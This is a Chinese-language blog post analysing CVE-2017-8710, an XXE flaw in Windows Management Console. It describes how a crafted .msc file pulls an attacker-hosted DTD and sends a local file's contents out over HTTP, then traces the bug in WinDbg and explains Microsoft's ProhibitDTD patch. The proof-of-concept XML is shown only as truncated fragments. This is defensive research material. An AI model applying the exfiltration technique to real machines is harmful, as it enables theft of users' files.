深度解析MicrosoftWindowsCVE-2017-8710XXE信息泄露漏洞

本文深入解析了Microsoft Windows CVE-2017-8710 XXE信息泄露漏洞。该漏洞源于Microsoft管理控制台未能正确处理XML外部实体引用，导致攻击者可以下载目标机器上的文件。文章详细介绍了漏洞的影响系统、复现步骤和利用流程，并通过调试分析了漏洞触发的具体路径及修补方法。微软通过在ScCoCreate函数中增加对DTD文件的禁止，成功修补了此漏洞。

Microsoft的管理控制台没有正确地处理XML的外部实体引用导致可以信息泄露，下载目标机器的文件

CVE编号： CVE-2017-8710

poc中有两个文件poc.msc和payload.dtd

利用流程：受害者打开poc.msc，触发外部实体对象解析，从攻击者服务器下载payload.dtd，再解析payload.dtd，最后以GET的方式发送file的内容到攻击者服务器

poc.msc如下：

%dtd;]>&send;

payload.dtd如下：

">%all;

将ip和port改为自己设定的值，并在web根目录放置payload.dtd文件即可

服务器使用python搭建一个简易服务器，payload.dtd放在当前目录即可，打开poc.msc即可收到回应（虽然报错，但是执行成功）

而服务器收到的内容正是C:\Windows\msdfmap.ini的内容

首先定位漏洞程序：打开procexp，之后双击poc.msc文件进行观察，发现启动的是mmc.exe程序

用od运行mmc.exe并附带参数，弹框后暂停程序，进行栈回溯

再向下一点也可以找到打开文件的函数

在这两个打开文件的函数下断点，实际断下来的是CAMCMultiDocTemplate::OpenDocumentFile，

之后慢慢跟，中途会出现程序跑飞了，下次下个断点步入就行，之后跟到了CXMLDocument::ScLoad函数里面，发现调用了msxml3模块里面的函数

由于od看不到符号，改用windbg，可以看到调用了Document::Load

之后调用msxml3!Document::run，就发出了tcp请求

0:000> peax=6b3f51b0 ebx=00000000 ecx=034c3ad0 edx=0006f420 esi=034c3ad0 edi=00000000eip=6b4048c7 esp=0006f3e4 ebp=0006f418 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246msxml3!Document::_load+0x182:6b4048c7 ff5060          call    dword ptr [eax+60h]  ds:0023:6b3f5210={msxml3!Document::run (6b404909)

其实这里已经到达了解析执行xml里面的内容，那么出的问题就是上一层的函数

0:000> kvChildEBP RetAddr  Args to Child              0006f3dc 6b7b48ca af5c2d94 00000000 034f3ad0 msxml3!Document::run (FPO: [Non-Fpo])0006f418 6b7e4ed4 00000000 00000000 00000000 msxml3!Document::_load+0x185 (FPO: [Non-Fpo])0006f460 6b7e4e50 001c3418 af5c2d18 00000000 msxml3!Document::load+0x3b (FPO: [Non-Fpo])*** WARNING: Unable to verify checksum for mmc.exe0006f494 0102e9fd 001cf3ba 001c3418 ac5412c5 msxml3!Document::Load+0x3c (FPO: [Non-Fpo])0006f4f8 0102dd5f 0006f52c 001c3418 00000001 mmc!CXMLDocument::ScLoad+0x109 (FPO: [Non-Fpo])0006f57c 0103e606 0006f5e4 0006f5f8 00830014 mmc!CConsoleFilePersistor::ScLoadXMLDocumentFromFile+0x174 (FPO: [Non-Fpo])0006f668 01059eeb 0006f6b8 0006fbdc 0006f6f5 mmc!CConsoleFilePersistor::ScLoadConsole+0x15d (FPO: [Non-Fpo])0006f704 01022073 0006f724 0006fbdc ac54116d mmc!CAMCDoc::ScOnOpenDocument+0x1ee (FPO: [Non-Fpo])0006f750 010210b8 0006fbdc ac541199 00000004 mmc!CAMCDoc::OnOpenDocument+0x39 (FPO: [Non-Fpo])0006f7a4 697c2d8e 0006fbdc 00000001 0006fe2c mmc!CAMCMultiDocTemplate::OpenDocumentFile+0x244 (FPO: [Non-Fpo])0006fde8 697c1666 00026c38 ac57af04 00e10b58 MFC42u!CDocManager::OpenDocumentFile+0x1ed (FPO: [Non-Fpo])0006fe10 01020429 0006fe2c ac5418dd 010f54b0 MFC42u!CWinApp::ProcessShellCommand+0x8e (FPO: [Non-Fpo])0006fee0 697bf84c 010f561c 00000001 00000000 mmc!CAMCApp::InitInstance+0x5ca (FPO: [Non-Fpo])0006fef4 0100c107 01000000 00000000 00161b22 MFC42u!AfxWinMain+0x4f (FPO: [Non-Fpo])0006ff88 762e1174 7ffdf000 0006ffd4 7757b3f5 mmc!_initterm_e+0x1b1 (FPO: [Non-Fpo])0006ff94 7757b3f5 7ffdf000 775c0baf 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0006ffd4 7757b3c8 0103fb0e 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])0006ffec 00000000 0103fb0e 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

在ida查看：在mmc!CAMCDoc::ScOnOpenDocument中调用了mmc!CConsoleFilePersistor::ScLoadConsole

之后在ScOnOpenDocument中直接调用了ScLoadXMLDocumentFromFile解析xml文档，对外部实体没有检测

但是我在win10下调试的时候，发现mmc根本就不打开xml文档

下面出于学习的目的，跟着xml的一个解析过程

接着就是利用GetNextToken不断循环读取xml文件中的值进行解析

0:000> peax=0006f32c ebx=00000000 ecx=03534a30 edx=00001000 esi=03534880 edi=035348b5eip=6b4016dd esp=0006f308 ebp=0006f3a0 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246msxml3!XMLParser::Run+0x1dd:6b4016dd e89f000000      call    msxml3!XMLStream::GetNextToken (6b401781)0:000> dd esp0006f308  0006f32c 0006f338 0006f33c 0006f3400006f318  b8d8ae62 03533ad0 03533b18 000000000006f328  00000024 00000000 00000000 0006f3d40006f338  00000000 00000000 00000000 000000000006f348  00000000 00000000 00000000 000000040006f358  001bf3b8 00000001 0006f350 000000000006f368  03533ad0 03534914 035348b5 0006f3280006f378  001bf3bb 03534914 00000000 000000000:000> peax=00000000 ebx=00000000 ecx=0006f340 edx=0006f338 esi=03534880 edi=035348b5eip=6b4016e2 esp=0006f318 ebp=0006f3a0 iopl=0         nv up ei pl zr na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246msxml3!XMLParser::Run+0x1e2:6b4016e2 8945e0          mov     dword ptr [ebp-20h],eax ss:0023:0006f380=000000000:000> du 03534cbc 03534cbc  "xml version="1.0"?>..03534cfc  "LS [......%dtd;]>..&send;.."0:000> dd esp0006f318  b8d8ae62 03533ad0 03533b18 000000000006f328  00000024 00000004 00000000 0006f3d40006f338  03534cbc 00000003 00000000 000000000006f348  00000000 00000000 00000000 000000040006f358  001bf3b8 00000001 0006f350 000000000006f368  03533ad0 03534914 035348b5 0006f3280006f378  001bf3bb 03534914 00000000 000000000006f388  0006f318 0006f3a4 0006f3cc 6b4227190:000> du 03534cbc 03534cbc  "xml version="1.0"?>..03534cfc  "LS [......%dtd;]>..&send;.."

之后最终调用的是XMLParser::LoadEntity

之后是XMLParser::PushURL再到URLStream::Open

先检测一下是不是file类型的url（准确点应该是检测file协议的）

URLStream::OpenURL到urlmon!CUrlMon::BindToStorage到urlmon!CUrlMon::StartBinding到urlmon!CBinding::StartBinding再到urlmon!CTransaction::StartEx 到urlmon!COInetProt::StartEx到urlmon!CTransaction::CompleteOperation，最后在CompleteOperation真正发出请求

通过对比修补后的程序

修改的位置在CXMLDocument::ScCoCreate

在我们之前的堆栈中是看不到这个函数的（下面为未修补的程序的堆栈情况）

0:000> kvChildEBP RetAddr  Args to Child              0006f3dc 6b7b48ca af5c2d94 00000000 034f3ad0 msxml3!Document::run (FPO: [Non-Fpo])0006f418 6b7e4ed4 00000000 00000000 00000000 msxml3!Document::_load+0x185 (FPO: [Non-Fpo])0006f460 6b7e4e50 001c3418 af5c2d18 00000000 msxml3!Document::load+0x3b (FPO: [Non-Fpo])*** WARNING: Unable to verify checksum for mmc.exe0006f494 0102e9fd 001cf3ba 001c3418 ac5412c5 msxml3!Document::Load+0x3c (FPO: [Non-Fpo])0006f4f8 0102dd5f 0006f52c 001c3418 00000001 mmc!CXMLDocument::ScLoad+0x109 (FPO: [Non-Fpo])0006f57c 0103e606 0006f5e4 0006f5f8 00830014 mmc!CConsoleFilePersistor::ScLoadXMLDocumentFromFile+0x174 (FPO: [Non-Fpo])0006f668 01059eeb 0006f6b8 0006fbdc 0006f6f5 mmc!CConsoleFilePersistor::ScLoadConsole+0x15d (FPO: [Non-Fpo])0006f704 01022073 0006f724 0006fbdc ac54116d mmc!CAMCDoc::ScOnOpenDocument+0x1ee (FPO: [Non-Fpo])0006f750 010210b8 0006fbdc ac541199 00000004 mmc!CAMCDoc::OnOpenDocument+0x39 (FPO: [Non-Fpo])0006f7a4 697c2d8e 0006fbdc 00000001 0006fe2c mmc!CAMCMultiDocTemplate::OpenDocumentFile+0x244 (FPO: [Non-Fpo])0006fde8 697c1666 00026c38 ac57af04 00e10b58 MFC42u!CDocManager::OpenDocumentFile+0x1ed (FPO: [Non-Fpo])0006fe10 01020429 0006fe2c ac5418dd 010f54b0 MFC42u!CWinApp::ProcessShellCommand+0x8e (FPO: [Non-Fpo])0006fee0 697bf84c 010f561c 00000001 00000000 mmc!CAMCApp::InitInstance+0x5ca (FPO: [Non-Fpo])0006fef4 0100c107 01000000 00000000 00161b22 MFC42u!AfxWinMain+0x4f (FPO: [Non-Fpo])0006ff88 762e1174 7ffdf000 0006ffd4 7757b3f5 mmc!_initterm_e+0x1b1 (FPO: [Non-Fpo])0006ff94 7757b3f5 7ffdf000 775c0baf 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0006ffd4 7757b3c8 0103fb0e 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])0006ffec 00000000 0103fb0e 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

我调试修补后的程序，发现ScCoCreate之后就退出mmc了，而没有去调用mmc!CConsoleFilePersistor::ScLoadXMLDocumentFromFile了

0:000> kv............001ff3fc 76ce9fc0 004ead50 00000000 00000001 ole32!ICoCreateInstanceEx+0x403 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\longhorn\com\ole32\com\objact\objact.cxx @ 1339]001ff45c 76ce9f21 004ead50 00000000 00000001 ole32!CComActivator::DoCreateInstance+0xd9 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\longhorn\com\ole32\com\objact\immact.hxx @ 343]001ff480 76ce9eda 004ead50 00000000 00000001 ole32!CoCreateInstanceEx+0x38 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\longhorn\com\ole32\com\objact\actapi.cxx @ 157]001ff4b0 004ead04 004ead50 00000000 00000001 ole32!CoCreateInstance+0x37 (FPO: [Non-Fpo]) (CONV: stdcall) [d:\longhorn\com\ole32\com\objact\actapi.cxx @ 110]001ff570 004f3844 001ff5d0 00000000 496bde43 mmc!CXMLDocument::ScCoCreate+0x95 (FPO: [Non-Fpo])001ff654 0050d327 001ff6a4 001ffbc4 001ff6e1 mmc!CConsoleFilePersistor::ScLoadConsole+0xfe (FPO: [Non-Fpo])001ff6f0 004bfbdc 001ff710 001ffbc4 496bdf2b mmc!CAMCDoc::ScOnOpenDocument+0x1ee (FPO: [Non-Fpo])001ff73c 004bfa69 001ffbc4 496bdf9b 00000004 mmc!CAMCDoc::OnOpenDocument+0x39 (FPO: [Non-Fpo])001ff78c 67d6219b 001ffbc4 00000001 001ffe14 mmc!CAMCMultiDocTemplate::OpenDocumentFile+0x245 (FPO: [Non-Fpo])001ffdd0 67d622df 00026aa0 496a9035 02cfeb50 MFC42u!CDocManager::OpenDocumentFile+0x1ed (FPO: [Non-Fpo])001ffdf8 004bf580 001ffe14 496bd6df 005d2280 MFC42u!CWinApp::ProcessShellCommand+0x8e (FPO: [Non-Fpo])001ffec8 67d5f344 005d24dc 00000001 00000000 mmc!CAMCApp::InitInstance+0x5ca (FPO: [Non-Fpo])001ffedc 004c2e41 00490000 00000000 00341780 MFC42u!AfxWinMain+0x4f (FPO: [Non-Fpo])001fff70 7588d0e9 7ffd7000 001fffbc 770019bb mmc!_initterm_e+0x1b1 (FPO: [Non-Fpo])001fff7c 770019bb 7ffd7000 773e7a98 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])001fffbc 7700198e 004e2ed1 7ffd7000 ffffffff ntdll!__RtlUserThreadStart+0x23 (FPO: [Non-Fpo])001fffd4 00000000 004e2ed1 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

所以判断是在ScCoCreate里面

可以看到如果不满足条件就直接退出了

而且在ida也明显看到了ProhibitDTD，禁止dtd文件

enter description here

整个执行路径如下两图

所以微软修补方法是：在ScCoCreate函数里面判断，禁止dtd文件

直接阻止含ENTITY外部实体声明的msc文件

到这里，我们也就讲完了《深度解析MicrosoftWindowsCVE-2017-8710XXE信息泄露漏洞》的内容了。个人认为，基础知识的学习和巩固，是为了更好的将其运用到项目中，欢迎关注golang学习网公众号，带你了解更多关于的知识点！